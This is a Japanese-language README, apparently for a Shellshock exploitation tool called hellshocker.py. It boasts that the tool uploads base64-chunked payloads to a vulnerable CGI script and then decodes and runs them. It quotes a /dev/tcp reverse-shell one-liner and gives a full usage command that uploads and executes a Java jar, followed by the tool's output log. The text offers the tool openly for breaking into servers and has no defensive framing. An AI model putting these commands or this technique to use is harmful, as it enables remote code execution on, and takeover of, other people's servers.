
Shellshock エクスプロイトスクリプト。その汎用性により、任意のベクターを使用してアップロードとRCEが可能です。
脆弱なShellshockエクスプロイトや、単に「/bin/bash >& /dev/tcp/IP/port 0>&1」でサーバーに侵入する方法に飽きていませんか?
そうです、サーバーにさらに複雑なものをアップロードして実行する必要がありますが、巨大なファイルをbase64エンコードすると、HTTPリクエストがウェブサーバーに受け入れられなくなります。
このツールを使えば、その問題は解決するかもしれません。ペイロードをbase64にエンコードし、デフォルトで128バイトのチャンクに分割してウェブサーバーに送信し、送信後にデコードして実行します。
「すごい」と思うかもしれませんが、「でもPHPは使えない、Java用のものが欲しい」と言うかもしれません。 問題ありません。このツールは高度にカスタマイズ可能です。
以下の例をご覧ください:
python hellshocker.py --cgi http://website.com/cgi-bin/vulnerable --payload "java.jar" --destination "/tmp/java.jar" --trigger "/usr/bin/java -jar /tmp/java.jar" --base64
[*] データをチャンクに分割中...
[+] ペイロードデータがbase64形式にエンコードされました。
[*] リモートサーバーに送信するチャンクは19個あります。
[*] ペイロードのアップロードを開始...
[*] チャンク #1 をアップロード中
[*] チャンク #2 をアップロード中
[*] チャンク #3 をアップロード中
[*] チャンク #4 をアップロード中
[*] チャンク #5 をアップロード中
[*] チャンク #6 をアップロード中
[*] チャンク #7 をアップロード中
[*] チャンク #8 をアップロード中
[*] チャンク #9 をアップロード中
[*] チャンク #10 をアップロード中
[*] チャンク #11 をアップロード中
[*] チャンク #12 をアップロード中
[*] チャンク #13 をアップロード中
[*] チャンク #14 をアップロード中
[*] チャンク #15 をアップロード中
[*] チャンク #16 をアップロード中
[*] チャンク #17 をアップロード中
[*] チャンク #18 をアップロード中
[*] チャンク #19 をアップロード中
[+] アップロード手順が完了しました。
[*] リモートサーバーでbase64エンコードされたペイロードをデコード中...
[+] デコードのためのリモートコマンドが正常に送信されました。
[*] ペイロードの実行をトリガー中...
[+] ペイロード実行のトリガーコマンドが正常に送信されました。
こうしてペイロードが正常に転送され、実行されました。すごいと思いませんか? そうです、すごいです。